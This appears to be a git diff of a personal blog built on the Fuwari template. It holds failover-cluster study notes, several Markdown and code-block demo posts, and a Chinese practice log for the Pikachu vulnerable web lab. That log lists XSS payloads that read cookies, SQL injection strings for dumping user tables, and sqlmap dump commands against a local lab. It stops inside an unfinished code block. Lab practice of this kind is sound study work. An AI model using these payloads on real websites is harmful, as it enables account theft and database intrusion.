### 故障转移群集和网络
|
||||
|
||||
> - 故障转移群集使用以下网络:
|
||||
> - 公共网络:用于客户与群集服务之间的通信
|
||||
> - 私有网络:用于节点之间的通信
|
||||
> - 存储网络:与外部存储系统通信
|
||||
|
||||
- 一个网络可同时支持客户与节点间通信
|
||||
- 推荐使用多网以提供增强的性能和冗余
|
||||
|
||||
### 什么是仲裁(Quorum)?
|
||||
|
||||
> 在故障转移集群,仲裁定义足够的可用集群成员提供服务
|
||||
>
|
||||
> - 仲裁(Quorum):
|
||||
> - 基于投票(vote)的
|
||||
> - 根据不同仲裁模式,可使用节点,文件共享或共享磁盘用来投票
|
||||
> - 当有足够的票数时,允许故障转移群集保持在线
|
||||
|
||||
- 合法:
|
||||
- total nodes < 2 * active_ nodes
|
||||
|
||||
### 微软群集仲裁模式类型
|
||||
|
||||
| 仲裁模式 | 描述 |
|
||||
| ---------------------- | ------------------------------------------------------------ |
|
||||
| 节点多数模式 | 仅有群集中的节点有vote 当超过半数的节点在线时,才满足Quorum要求 |
|
||||
| 节点和磁盘多数模式 | 群集中的节点和见证(witness)磁盘有vote 当超过半数的vote在线时,才满足Quorum要求 |
|
||||
| 节点和文件共享多数模式 | 群集中的节点和见证(witness)文件共享有vote 当超过半数的vote在线时,才满足Quorum要求 |
|
||||
| 非多数:仅磁盘模式 | 仅quorum共享磁盘有vote 当共享磁盘在线时,才满足Quorum要求 |
|
||||
22
src/content/posts/draft.md
Normal file
22
src/content/posts/draft.md
Normal file
@ -0,0 +1,22 @@
|
||||
---
|
||||
title: Draft Example
|
||||
published: 2022-07-01
|
||||
tags: [Markdown, Blogging, Demo]
|
||||
category: Examples
|
||||
draft: true
|
||||
---
|
||||
|
||||
# This Article is a Draft
|
||||
|
||||
This article is currently in a draft state and is not published. Therefore, it will not be visible to the general audience. The content is still a work in progress and may require further editing and review.
|
||||
|
||||
When the article is ready for publication, you can update the "draft" field to "false" in the Frontmatter:
|
||||
|
||||
```markdown
|
||||
---
|
||||
title: Draft Example
|
||||
published: 2024-01-11T04:40:26.381Z
|
||||
tags: [Markdown, Blogging, Demo]
|
||||
category: Examples
|
||||
draft: false
|
||||
---
|
||||
311
src/content/posts/expressive-code.md
Normal file
311
src/content/posts/expressive-code.md
Normal file
@ -0,0 +1,311 @@
|
||||
---
|
||||
title: Expressive Code Example
|
||||
published: 2024-04-10
|
||||
description: How code blocks look in Markdown using Expressive Code.
|
||||
tags: [Markdown, Blogging, Demo]
|
||||
category: Examples
|
||||
draft: false
|
||||
---
|
||||
|
||||
Here, we'll explore how code blocks look using [Expressive Code](https://expressive-code.com/). The provided examples are based on the official documentation, which you can refer to for further details.
|
||||
|
||||
## Expressive Code
|
||||
|
||||
### Syntax Highlighting
|
||||
|
||||
[Syntax Highlighting](https://expressive-code.com/key-features/syntax-highlighting/)
|
||||
|
||||
#### Regular syntax highlighting
|
||||
|
||||
```js
|
||||
console.log('This code is syntax highlighted!')
|
||||
```
|
||||
|
||||
#### Rendering ANSI escape sequences
|
||||
|
||||
```ansi
|
||||
ANSI colors:
|
||||
- Regular: [31mRed[0m [32mGreen[0m [33mYellow[0m [34mBlue[0m [35mMagenta[0m [36mCyan[0m
|
||||
- Bold: [1;31mRed[0m [1;32mGreen[0m [1;33mYellow[0m [1;34mBlue[0m [1;35mMagenta[0m [1;36mCyan[0m
|
||||
- Dimmed: [2;31mRed[0m [2;32mGreen[0m [2;33mYellow[0m [2;34mBlue[0m [2;35mMagenta[0m [2;36mCyan[0m
|
||||
|
||||
256 colors (showing colors 160-177):
|
||||
[38;5;160m160 [38;5;161m161 [38;5;162m162 [38;5;163m163 [38;5;164m164 [38;5;165m165[0m
|
||||
[38;5;166m166 [38;5;167m167 [38;5;168m168 [38;5;169m169 [38;5;170m170 [38;5;171m171[0m
|
||||
[38;5;172m172 [38;5;173m173 [38;5;174m174 [38;5;175m175 [38;5;176m176 [38;5;177m177[0m
|
||||
|
||||
Full RGB colors:
|
||||
[38;2;34;139;34mForestGreen - RGB(34, 139, 34)[0m
|
||||
|
||||
Text formatting: [1mBold[0m [2mDimmed[0m [3mItalic[0m [4mUnderline[0m
|
||||
```
|
||||
|
||||
### Editor & Terminal Frames
|
||||
|
||||
[Editor & Terminal Frames](https://expressive-code.com/key-features/frames/)
|
||||
|
||||
#### Code editor frames
|
||||
|
||||
```js title="my-test-file.js"
|
||||
console.log('Title attribute example')
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- src/content/index.html -->
|
||||
<div>File name comment example</div>
|
||||
```
|
||||
|
||||
#### Terminal frames
|
||||
|
||||
```bash
|
||||
echo "This terminal frame has no title"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```powershell title="PowerShell terminal example"
|
||||
Write-Output "This one has a title!"
|
||||
```
|
||||
|
||||
#### Overriding frame types
|
||||
|
||||
```sh frame="none"
|
||||
echo "Look ma, no frame!"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```ps frame="code" title="PowerShell Profile.ps1"
|
||||
# Without overriding, this would be a terminal frame
|
||||
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
|
||||
New-Alias tail Watch-Tail
|
||||
```
|
||||
|
||||
### Text & Line Markers
|
||||
|
||||
[Text & Line Markers](https://expressive-code.com/key-features/text-markers/)
|
||||
|
||||
#### Marking full lines & line ranges
|
||||
|
||||
```js {1, 4, 7-8}
|
||||
// Line 1 - targeted by line number
|
||||
// Line 2
|
||||
// Line 3
|
||||
// Line 4 - targeted by line number
|
||||
// Line 5
|
||||
// Line 6
|
||||
// Line 7 - targeted by range "7-8"
|
||||
// Line 8 - targeted by range "7-8"
|
||||
```
|
||||
|
||||
#### Selecting line marker types (mark, ins, del)
|
||||
|
||||
```js title="line-markers.js" del={2} ins={3-4} {6}
|
||||
function demo() {
|
||||
console.log('this line is marked as deleted')
|
||||
// This line and the next one are marked as inserted
|
||||
console.log('this is the second inserted line')
|
||||
|
||||
return 'this line uses the neutral default marker type'
|
||||
}
|
||||
```
|
||||
|
||||
#### Adding labels to line markers
|
||||
|
||||
```jsx {"1":5} del={"2":7-8} ins={"3":10-12}
|
||||
// labeled-line-markers.jsx
|
||||
<button
|
||||
role="button"
|
||||
{...props}
|
||||
value={value}
|
||||
className={buttonClassName}
|
||||
disabled={disabled}
|
||||
active={active}
|
||||
>
|
||||
{children &&
|
||||
!active &&
|
||||
(typeof children === 'string' ? <span>{children}</span> : children)}
|
||||
</button>
|
||||
```
|
||||
|
||||
#### Adding long labels on their own lines
|
||||
|
||||
```jsx {"1. Provide the value prop here:":5-6} del={"2. Remove the disabled and active states:":8-10} ins={"3. Add this to render the children inside the button:":12-15}
|
||||
// labeled-line-markers.jsx
|
||||
<button
|
||||
role="button"
|
||||
{...props}
|
||||
|
||||
value={value}
|
||||
className={buttonClassName}
|
||||
|
||||
disabled={disabled}
|
||||
active={active}
|
||||
>
|
||||
|
||||
{children &&
|
||||
!active &&
|
||||
(typeof children === 'string' ? <span>{children}</span> : children)}
|
||||
</button>
|
||||
```
|
||||
|
||||
#### Using diff-like syntax
|
||||
|
||||
```diff
|
||||
+this line will be marked as inserted
|
||||
-this line will be marked as deleted
|
||||
this is a regular line
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```diff
|
||||
--- a/README.md
|
||||
+++ b/README.md
|
||||
@@ -1,3 +1,4 @@
|
||||
+this is an actual diff file
|
||||
-all contents will remain unmodified
|
||||
no whitespace will be removed either
|
||||
```
|
||||
|
||||
#### Combining syntax highlighting with diff-like syntax
|
||||
|
||||
```diff lang="js"
|
||||
function thisIsJavaScript() {
|
||||
// This entire block gets highlighted as JavaScript,
|
||||
// and we can still add diff markers to it!
|
||||
- console.log('Old code to be removed')
|
||||
+ console.log('New and shiny code!')
|
||||
}
|
||||
```
|
||||
|
||||
#### Marking individual text inside lines
|
||||
|
||||
```js "given text"
|
||||
function demo() {
|
||||
// Mark any given text inside lines
|
||||
return 'Multiple matches of the given text are supported';
|
||||
}
|
||||
```
|
||||
|
||||
#### Regular expressions
|
||||
|
||||
```ts /ye[sp]/
|
||||
console.log('The words yes and yep will be marked.')
|
||||
```
|
||||
|
||||
#### Escaping forward slashes
|
||||
|
||||
```sh /\/ho.*\//
|
||||
echo "Test" > /home/test.txt
|
||||
```
|
||||
|
||||
#### Selecting inline marker types (mark, ins, del)
|
||||
|
||||
```js "return true;" ins="inserted" del="deleted"
|
||||
function demo() {
|
||||
console.log('These are inserted and deleted marker types');
|
||||
// The return statement uses the default marker type
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
### Word Wrap
|
||||
|
||||
[Word Wrap](https://expressive-code.com/key-features/word-wrap/)
|
||||
|
||||
#### Configuring word wrap per block
|
||||
|
||||
```js wrap
|
||||
// Example with wrap
|
||||
function getLongString() {
|
||||
return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```js wrap=false
|
||||
// Example with wrap=false
|
||||
function getLongString() {
|
||||
return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
|
||||
}
|
||||
```
|
||||
|
||||
#### Configuring indentation of wrapped lines
|
||||
|
||||
```js wrap preserveIndent
|
||||
// Example with preserveIndent (enabled by default)
|
||||
function getLongString() {
|
||||
return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```js wrap preserveIndent=false
|
||||
// Example with preserveIndent=false
|
||||
function getLongString() {
|
||||
return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
|
||||
}
|
||||
```
|
||||
|
||||
## Collapsible Sections
|
||||
|
||||
[Collapsible Sections](https://expressive-code.com/plugins/collapsible-sections/)
|
||||
|
||||
```js collapse={1-5, 12-14, 21-24}
|
||||
// All this boilerplate setup code will be collapsed
|
||||
import { someBoilerplateEngine } from '@example/some-boilerplate'
|
||||
import { evenMoreBoilerplate } from '@example/even-more-boilerplate'
|
||||
|
||||
const engine = someBoilerplateEngine(evenMoreBoilerplate())
|
||||
|
||||
// This part of the code will be visible by default
|
||||
engine.doSomething(1, 2, 3, calcFn)
|
||||
|
||||
function calcFn() {
|
||||
// You can have multiple collapsed sections
|
||||
const a = 1
|
||||
const b = 2
|
||||
const c = a + b
|
||||
|
||||
// This will remain visible
|
||||
console.log(`Calculation result: ${a} + ${b} = ${c}`)
|
||||
return c
|
||||
}
|
||||
|
||||
// All this code until the end of the block will be collapsed again
|
||||
engine.closeConnection()
|
||||
engine.freeMemory()
|
||||
engine.shutdown({ reason: 'End of example boilerplate code' })
|
||||
```
|
||||
|
||||
## Line Numbers
|
||||
|
||||
[Line Numbers](https://expressive-code.com/plugins/line-numbers/)
|
||||
|
||||
### Displaying line numbers per block
|
||||
|
||||
```js showLineNumbers
|
||||
// This code block will show line numbers
|
||||
console.log('Greetings from line 2!')
|
||||
console.log('I am on line 3')
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```js showLineNumbers=false
|
||||
// Line numbers are disabled for this block
|
||||
console.log('Hello?')
|
||||
console.log('Sorry, do you know what line I am on?')
|
||||
```
|
||||
|
||||
### Changing the starting line number
|
||||
|
||||
```js showLineNumbers startLineNumber=5
|
||||
console.log('Greetings from line 5!')
|
||||
console.log('I am on line 6')
|
||||
```
|
||||
BIN
src/content/posts/guide/cover.jpeg
Normal file
BIN
src/content/posts/guide/cover.jpeg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 218 KiB |
51
src/content/posts/guide/index.md
Normal file
51
src/content/posts/guide/index.md
Normal file
@ -0,0 +1,51 @@
|
||||
---
|
||||
title: Simple Guides for Fuwari
|
||||
published: 2024-04-01
|
||||
description: "How to use this blog template."
|
||||
image: "./cover.jpeg"
|
||||
tags: ["Fuwari", "Blogging", "Customization"]
|
||||
category: Guides
|
||||
draft: false
|
||||
---
|
||||
|
||||
> Cover image source: [Source](https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/208fc754-890d-4adb-9753-2c963332675d/width=2048/01651-1456859105-(colour_1.5),girl,_Blue,yellow,green,cyan,purple,red,pink,_best,8k,UHD,masterpiece,male%20focus,%201boy,gloves,%20ponytail,%20long%20hair,.jpeg)
|
||||
|
||||
This blog template is built with [Astro](https://astro.build/). For the things that are not mentioned in this guide, you may find the answers in the [Astro Docs](https://docs.astro.build/).
|
||||
|
||||
## Front-matter of Posts
|
||||
|
||||
```yaml
|
||||
---
|
||||
title: My First Blog Post
|
||||
published: 2023-09-09
|
||||
description: This is the first post of my new Astro blog.
|
||||
image: ./cover.jpg
|
||||
tags: [Foo, Bar]
|
||||
category: Front-end
|
||||
draft: false
|
||||
---
|
||||
```
|
||||
|
||||
| Attribute | Description |
|
||||
|---------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| `title` | The title of the post. |
|
||||
| `published` | The date the post was published. |
|
||||
| `description` | A short description of the post. Displayed on index page. |
|
||||
| `image` | The cover image path of the post.<br/>1. Start with `http://` or `https://`: Use web image<br/>2. Start with `/`: For image in `public` dir<br/>3. With none of the prefixes: Relative to the markdown file |
|
||||
| `tags` | The tags of the post. |
|
||||
| `category` | The category of the post. |
|
||||
| `draft` | If this post is still a draft, which won't be displayed. |
|
||||
|
||||
## Where to Place the Post Files
|
||||
|
||||
|
||||
|
||||
Your post files should be placed in `src/content/posts/` directory. You can also create sub-directories to better organize your posts and assets.
|
||||
|
||||
```
|
||||
src/content/posts/
|
||||
├── post-1.md
|
||||
└── post-2/
|
||||
├── cover.png
|
||||
└── index.md
|
||||
```
|
||||
95
src/content/posts/markdown-extended.md
Normal file
95
src/content/posts/markdown-extended.md
Normal file
@ -0,0 +1,95 @@
|
||||
---
|
||||
title: Markdown Extended Features
|
||||
published: 2024-05-01
|
||||
updated: 2024-11-29
|
||||
description: 'Read more about Markdown features in Fuwari'
|
||||
image: ''
|
||||
tags: [Demo, Example, Markdown, Fuwari]
|
||||
category: 'Examples'
|
||||
draft: false
|
||||
---
|
||||
|
||||
## GitHub Repository Cards
|
||||
You can add dynamic cards that link to GitHub repositories, on page load, the repository information is pulled from the GitHub API.
|
||||
|
||||
::github{repo="Fabrizz/MMM-OnSpotify"}
|
||||
|
||||
Create a GitHub repository card with the code `::github{repo="<owner>/<repo>"}`.
|
||||
|
||||
```markdown
|
||||
::github{repo="saicaca/fuwari"}
|
||||
```
|
||||
|
||||
## Admonitions
|
||||
|
||||
Following types of admonitions are supported: `note` `tip` `important` `warning` `caution`
|
||||
|
||||
:::note
|
||||
Highlights information that users should take into account, even when skimming.
|
||||
:::
|
||||
|
||||
:::tip
|
||||
Optional information to help a user be more successful.
|
||||
:::
|
||||
|
||||
:::important
|
||||
Crucial information necessary for users to succeed.
|
||||
:::
|
||||
|
||||
:::warning
|
||||
Critical content demanding immediate user attention due to potential risks.
|
||||
:::
|
||||
|
||||
:::caution
|
||||
Negative potential consequences of an action.
|
||||
:::
|
||||
|
||||
### Basic Syntax
|
||||
|
||||
```markdown
|
||||
:::note
|
||||
Highlights information that users should take into account, even when skimming.
|
||||
:::
|
||||
|
||||
:::tip
|
||||
Optional information to help a user be more successful.
|
||||
:::
|
||||
```
|
||||
|
||||
### Custom Titles
|
||||
|
||||
The title of the admonition can be customized.
|
||||
|
||||
:::note[MY CUSTOM TITLE]
|
||||
This is a note with a custom title.
|
||||
:::
|
||||
|
||||
```markdown
|
||||
:::note[MY CUSTOM TITLE]
|
||||
This is a note with a custom title.
|
||||
:::
|
||||
```
|
||||
|
||||
### GitHub Syntax
|
||||
|
||||
> [!TIP]
|
||||
> [The GitHub syntax](https://github.com/orgs/community/discussions/16925) is also supported.
|
||||
|
||||
```
|
||||
> [!NOTE]
|
||||
> The GitHub syntax is also supported.
|
||||
|
||||
> [!TIP]
|
||||
> The GitHub syntax is also supported.
|
||||
```
|
||||
|
||||
### Spoiler
|
||||
|
||||
You can add spoilers to your text. The text also supports **Markdown** syntax.
|
||||
|
||||
The content :spoiler[is hidden **ayyy**]!
|
||||
|
||||
```markdown
|
||||
The content :spoiler[is hidden **ayyy**]!
|
||||
|
||||
```
|
||||
175
src/content/posts/markdown.md
Normal file
175
src/content/posts/markdown.md
Normal file
@ -0,0 +1,175 @@
|
||||
---
|
||||
title: Markdown Example
|
||||
published: 2023-10-01
|
||||
description: A simple example of a Markdown blog post.
|
||||
tags: [Markdown, Blogging, Demo]
|
||||
category: Examples
|
||||
draft: false
|
||||
---
|
||||
|
||||
# An h1 header
|
||||
|
||||
Paragraphs are separated by a blank line.
|
||||
|
||||
2nd paragraph. _Italic_, **bold**, and `monospace`. Itemized lists
|
||||
look like:
|
||||
|
||||
- this one
|
||||
- that one
|
||||
- the other one
|
||||
|
||||
Note that --- not considering the asterisk --- the actual text
|
||||
content starts at 4-columns in.
|
||||
|
||||
> Block quotes are
|
||||
> written like so.
|
||||
>
|
||||
> They can span multiple paragraphs,
|
||||
> if you like.
|
||||
|
||||
Use 3 dashes for an em-dash. Use 2 dashes for ranges (ex., "it's all
|
||||
in chapters 12--14"). Three dots ... will be converted to an ellipsis.
|
||||
Unicode is supported. ☺
|
||||
|
||||
## An h2 header
|
||||
|
||||
Here's a numbered list:
|
||||
|
||||
1. first item
|
||||
2. second item
|
||||
3. third item
|
||||
|
||||
Note again how the actual text starts at 4 columns in (4 characters
|
||||
from the left side). Here's a code sample:
|
||||
|
||||
# Let me re-iterate ...
|
||||
for i in 1 .. 10 { do-something(i) }
|
||||
|
||||
As you probably guessed, indented 4 spaces. By the way, instead of
|
||||
indenting the block, you can use delimited blocks, if you like:
|
||||
|
||||
```
|
||||
define foobar() {
|
||||
print "Welcome to flavor country!";
|
||||
}
|
||||
```
|
||||
|
||||
(which makes copying & pasting easier). You can optionally mark the
|
||||
delimited block for Pandoc to syntax highlight it:
|
||||
|
||||
```python
|
||||
import time
|
||||
# Quick, count to ten!
|
||||
for i in range(10):
|
||||
# (but not *too* quick)
|
||||
time.sleep(0.5)
|
||||
print i
|
||||
```
|
||||
|
||||
### An h3 header
|
||||
|
||||
Now a nested list:
|
||||
|
||||
1. First, get these ingredients:
|
||||
|
||||
- carrots
|
||||
- celery
|
||||
- lentils
|
||||
|
||||
2. Boil some water.
|
||||
|
||||
3. Dump everything in the pot and follow
|
||||
this algorithm:
|
||||
|
||||
find wooden spoon
|
||||
uncover pot
|
||||
stir
|
||||
cover pot
|
||||
balance wooden spoon precariously on pot handle
|
||||
wait 10 minutes
|
||||
goto first step (or shut off burner when done)
|
||||
|
||||
Do not bump wooden spoon or it will fall.
|
||||
|
||||
Notice again how text always lines up on 4-space indents (including
|
||||
that last line which continues item 3 above).
|
||||
|
||||
Here's a link to [a website](http://foo.bar), to a [local
|
||||
doc](local-doc.html), and to a [section heading in the current
|
||||
doc](#an-h2-header). Here's a footnote [^1].
|
||||
|
||||
[^1]: Footnote text goes here.
|
||||
|
||||
Tables can look like this:
|
||||
|
||||
size material color
|
||||
|
||||
---
|
||||
|
||||
9 leather brown
|
||||
10 hemp canvas natural
|
||||
11 glass transparent
|
||||
|
||||
Table: Shoes, their sizes, and what they're made of
|
||||
|
||||
(The above is the caption for the table.) Pandoc also supports
|
||||
multi-line tables:
|
||||
|
||||
---
|
||||
|
||||
keyword text
|
||||
|
||||
---
|
||||
|
||||
red Sunsets, apples, and
|
||||
other red or reddish
|
||||
things.
|
||||
|
||||
green Leaves, grass, frogs
|
||||
and other things it's
|
||||
not easy being.
|
||||
|
||||
---
|
||||
|
||||
A horizontal rule follows.
|
||||
|
||||
---
|
||||
|
||||
Here's a definition list:
|
||||
|
||||
apples
|
||||
: Good for making applesauce.
|
||||
oranges
|
||||
: Citrus!
|
||||
tomatoes
|
||||
: There's no "e" in tomatoe.
|
||||
|
||||
Again, text is indented 4 spaces. (Put a blank line between each
|
||||
term/definition pair to spread things out more.)
|
||||
|
||||
Here's a "line block":
|
||||
|
||||
| Line one
|
||||
| Line too
|
||||
| Line tree
|
||||
|
||||
and images can be specified like so:
|
||||
|
||||
[//]: # ()
|
||||
|
||||
Inline math equations go in like so: $\omega = d\phi / dt$. Display
|
||||
math should get its own line and be put in in double-dollarsigns:
|
||||
|
||||
$$I = \int \rho R^{2} dV$$
|
||||
|
||||
$$
|
||||
\begin{equation*}
|
||||
\pi
|
||||
=3.1415926535
|
||||
\;8979323846\;2643383279\;5028841971\;6939937510\;5820974944
|
||||
\;5923078164\;0628620899\;8628034825\;3421170679\;\ldots
|
||||
\end{equation*}
|
||||
$$
|
||||
|
||||
And note that you can backslash-escape any punctuation characters
|
||||
which you wish to be displayed literally, ex.: \`foo\`, \*bar\*, etc.
|
||||
672
src/content/posts/pikachu_practice.md
Normal file
672
src/content/posts/pikachu_practice.md
Normal file
@ -0,0 +1,672 @@
|
||||
---
|
||||
title: Pikachu练习记录
|
||||
published: 2023-08-10
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg'
|
||||
tags: [Pikachu, 靶场, 网络安全]
|
||||
category: '网络安全'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## Pikachu练习记录
|
||||
|
||||
## 0x01 Pikachu靶场
|
||||
|
||||
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
|
||||
|
||||
靶场链接:[Pikachu](https://github.com/zhuifengshaonianhanlu/pikachu)
|
||||
|
||||
## 0x02 暴力破解
|
||||
|
||||
### 基于表单的暴力破解
|
||||
|
||||
如题,直接放burp里暴力破解即可
|
||||
|
||||
### 验证码绕过(on server)
|
||||
|
||||
在intruder里同一个验证码可重复使用
|
||||
|
||||
### 验证码绕过(on client)
|
||||
|
||||
在intruder里同一个验证码可重复使用,也可以审查元素把相关的验证码代码删掉,不影响
|
||||
|
||||
### Token防爆破?
|
||||
|
||||
多次抓包后发现,每次抓取的数据包中都含有下次请求所需要的token
|
||||
|
||||

|
||||
|
||||
可以用burp里Intruder进行爆破,爆破类型用Pitchfork,爆破变量为password和token
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
对于token载荷相关设置,Payload type选择为 Recursive grep(递归搜索)
|
||||
|
||||

|
||||
然后在设置中的Grep - Extract中添加过滤项,找到token的位置,进行添加,同时把token值复制一下
|
||||
|
||||

|
||||
|
||||
最后填写下一个token值开始爆破
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 0x03 Cross-Site Scripting
|
||||
|
||||
### 反射型xss(get)
|
||||
|
||||
输入框被限制了最大输入长度,但是可以通过审查元素修改maxlength值来解除限制
|
||||
|
||||

|
||||
|
||||
```txt
|
||||
输入框直接上脚本
|
||||
<script>alert('hello')</script>
|
||||
```
|
||||
|
||||
### 反射型xss(post)
|
||||
|
||||
```txt
|
||||
登陆进去后输入框内输入以下内容
|
||||
<script>alert(document.cookie)</script>
|
||||
```
|
||||
|
||||
### 存储型xss
|
||||
|
||||
```txt
|
||||
<script>alert(document.cookie)</script>
|
||||
```
|
||||
|
||||
### DOM型xss
|
||||
|
||||
输入hello正常文本
|
||||
|
||||

|
||||
|
||||
输入下方文本
|
||||
|
||||
```txt
|
||||
#' onclick=alert('hello')>
|
||||
```
|
||||
|
||||

|
||||
|
||||
### DOM型xss-x
|
||||
|
||||
```txt
|
||||
' onclick=alert('hello')>
|
||||
```
|
||||
|
||||
输入信息同时也会显示在url输入框里。
|
||||
|
||||

|
||||
|
||||
### xss之盲打
|
||||
|
||||
```txt
|
||||
留言板输入:
|
||||
<script>alert(document.cookie)</script>
|
||||
```
|
||||
|
||||

|
||||
|
||||
提示/xssblind/admin_login.php,登陆后台发现脚本会立即执行
|
||||
|
||||
### xss之过滤
|
||||
|
||||
大小写绕过
|
||||
|
||||
```txt
|
||||
<ScRipt>alert(1)</ScriPt>
|
||||
```
|
||||
|
||||
### xss之htmlspecialchars
|
||||
|
||||
```txt
|
||||
' onclick='alert(1)'
|
||||
|
||||
' onclick='javascript:alert(document.cookie)'
|
||||
```
|
||||
|
||||
### xss之href输出
|
||||
|
||||
js伪协议绕过
|
||||
|
||||
```txt
|
||||
javascript:alert(1)
|
||||
```
|
||||
|
||||
### xss之js输出
|
||||
|
||||
输入信息通过审查元素可以看到输入内容在js标签内
|
||||
|
||||

|
||||
|
||||
可以先把前面的\<script\>进行闭合,构造以下payload即可
|
||||
|
||||
```txt
|
||||
</script><script>alert(1)</script>
|
||||
```
|
||||
|
||||
## 0x04 CSRF
|
||||
|
||||
### CSRF(get)
|
||||
|
||||
### CSRF(post)
|
||||
|
||||
### CSRF(token)
|
||||
|
||||
## 0x05 Sql Inject
|
||||
|
||||
### 数字型注入
|
||||
|
||||
**1,手动注入**
|
||||
|
||||
发现是个选项,无法输入东西 ,直接拦截数据包,在burp里进行修改
|
||||
|
||||

|
||||
|
||||
```txt
|
||||
id=1
|
||||
#正常回显
|
||||
|
||||
id=1'
|
||||
#提示报错
|
||||
|
||||
id=1 and 1=1
|
||||
#正常回显
|
||||
|
||||
id=1 and 1=2
|
||||
#报错,基本判断为mysql数据库的数字型注入点
|
||||
|
||||
|
||||
id=1 or 1=1
|
||||
#直接爆破出全部数据
|
||||
```
|
||||
|
||||
**2,无脑sqlmap**
|
||||
|
||||
```txt
|
||||
sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 字符型注入
|
||||
|
||||
```txt
|
||||
123
|
||||
#正常
|
||||
|
||||
123'
|
||||
#发现报错
|
||||
|
||||
123''
|
||||
#又是正常了,基本上判定为字符型注入
|
||||
|
||||
123' or 1=1 #
|
||||
#爆出所有用户
|
||||
|
||||
|
||||
|
||||
//附
|
||||
|
||||
123' union select database(),2 #
|
||||
#查询数据库名称
|
||||
|
||||
123' union select table_schema,table_name from information_schema.tables where table_schema="pikachu" #
|
||||
#查询表,发现有个users项
|
||||
|
||||
123' union select table_name,column_name from information_schema.columns where table_name="users" #
|
||||
#查询uesrs表中的内容,发现存在username和password项
|
||||
|
||||
123' union select username,password from users #
|
||||
#查出信息,但是密码是经过md5加密的,解密一下就行
|
||||
```
|
||||
|
||||
**sqlmap**
|
||||
|
||||
```txt
|
||||
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
|
||||
```
|
||||
|
||||
### 搜索型注入
|
||||
|
||||
由于没有过滤“%”,“%”可以进行匹配任意字符,与linux中的”*“类似
|
||||
|
||||
**sqlmap**
|
||||
|
||||
```txt
|
||||
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
|
||||
```
|
||||
|
||||
### xx型注入
|
||||
|
||||
用123‘测试发现报错中含有一个反括号,
|
||||
|
||||

|
||||
|
||||
那就构造以下payload:
|
||||
|
||||
```txt
|
||||
123') or 1=1 #
|
||||
```
|
||||
|
||||
**sqlmap**
|
||||
|
||||
```txt
|
||||
python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
|
||||
```
|
||||
|
||||
### “insert/update”注入
|
||||
|
||||
注册一下账户,然后brup抓包,随便选一个变量,修改如下
|
||||
|
||||

|
||||
|
||||
```txt
|
||||
' and extractvalue(1,concat('~',(select database()))) and '1'='1
|
||||
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
|
||||
|
||||
|
||||
# 报错注入两个典型的函数
|
||||
extractvalue() 是mysql对xml文档数据进行查询和修改的xpath函数
|
||||
updatexml() 是mysql对xml文档数据进行查询的xpath函数
|
||||
```
|
||||
|
||||
### “delete”注入
|
||||
|
||||
操作同上,在点击删除留言时进行抓包,发现有一个id参数可以进行注入,不过发现注入的参数中不能出现空格,否则空格后面不会进行处理
|
||||
|
||||
可以用“+”代替空格
|
||||
|
||||
```txt
|
||||
+and+updatexml(1,concat(0x7e,database(),0x7e),1)
|
||||
```
|
||||
|
||||

|
||||
|
||||
### “http header”注入
|
||||
|
||||

|
||||
|
||||
用提示给的用户登陆以下发现显示以上信息
|
||||
|
||||
直接抓包,然后修改User-Agent或者Accept,
|
||||
|
||||
修改如下:
|
||||
|
||||
```txt
|
||||
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
|
||||
或
|
||||
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
|
||||
```
|
||||
|
||||
经测试,cookie中的uname和pw变量也能进行注入
|
||||
|
||||
### 盲注(base on boolean)
|
||||
|
||||
当输入kobe时显示uid和email
|
||||
|
||||
当输入其他的值后显示输入的username不存在
|
||||
|
||||

|
||||
|
||||
经测试是用 **‘** 进行闭合的
|
||||
|
||||
```txt
|
||||
kobe'
|
||||
# 未查到username信息
|
||||
|
||||
kobe'and '1'='1
|
||||
#可以查到,判定用'闭合
|
||||
|
||||
kobe'and length(database())=n#
|
||||
# "n"为一个数字,此处为了判定数据库字符的长度,经测试,当n=7时,正常显示,即可判定数据库名字长度为7
|
||||
```
|
||||
|
||||
burp抓包进行爆破数据库名字
|
||||
|
||||
```txt
|
||||
kobe' and substr(database(),1,1)='a'#
|
||||
```
|
||||
|
||||

|
||||
|
||||
第一个参数修改
|
||||
|
||||

|
||||
|
||||
第二个参数修改,爆破字符为a-z ,顺带着添加一个”_”
|
||||
|
||||

|
||||
|
||||
**sqlmap**
|
||||
|
||||
```txt
|
||||
